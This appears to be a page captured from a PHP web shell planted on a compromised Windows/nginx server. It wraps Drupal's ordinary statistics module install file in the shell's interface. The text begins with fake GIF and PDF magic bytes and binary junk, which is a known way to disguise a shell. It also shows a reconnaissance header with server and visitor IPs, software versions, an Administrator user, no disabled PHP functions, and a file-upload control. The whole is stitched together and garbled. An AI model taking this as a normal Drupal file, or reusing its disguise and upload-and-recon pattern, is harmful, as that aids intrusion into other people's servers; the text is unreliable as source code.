GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/Lab12/drupal/core/modules/statistics/ |
Upload File : |
<?php /** * @file * Install and update functions for the Statistics module. */ /** * Implements hook_uninstall(). */ function statistics_uninstall() { // Remove states. \Drupal::state()->delete('statistics.node_counter_scale'); \Drupal::state()->delete('statistics.day_timestamp'); } /** * Implements hook_schema(). */ function statistics_schema() { $schema['node_counter'] = [ 'description' => 'Access statistics for {node}s.', 'fields' => [ 'nid' => [ 'description' => 'The {node}.nid for these statistics.', 'type' => 'int', 'unsigned' => TRUE, 'not null' => TRUE, 'default' => 0, ], 'totalcount' => [ 'description' => 'The total number of times the {node} has been viewed.', 'type' => 'int', 'unsigned' => TRUE, 'not null' => TRUE, 'default' => 0, 'size' => 'big', ], 'daycount' => [ 'description' => 'The total number of times the {node} has been viewed today.', 'type' => 'int', 'unsigned' => TRUE, 'not null' => TRUE, 'default' => 0, 'size' => 'medium', ], 'timestamp' => [ 'description' => 'The most recent time the {node} has been viewed.', 'type' => 'int', 'unsigned' => TRUE, 'not null' => TRUE, 'default' => 0, ], ], 'primary key' => ['nid'], ]; return $schema; } /** * Disable the Statistics module if the node module is not enabled. */ function statistics_update_8001() { if (!\Drupal::moduleHandler()->moduleExists('node')) { if (\Drupal::service('module_installer')->uninstall(['statistics'], TRUE)) { return 'The statistics module depends on the node module and has therefore been uninstalled.'; } else { return 'There was an error uninstalling the statistcs module.'; } } } /** * Disable the Statistics module if the node module is not enabled. */ function statistics_update_8002() { // Set the new configuration setting for max age to the initial value. \Drupal::configFactory()->getEditable('statistics.settings')->set('display_max_age', 3600)->save(); } /** * Remove access_log settings. */ function statistics_update_8300() { \Drupal::configFactory()->getEditable('statistics.settings')->clear('access_log')->save(); }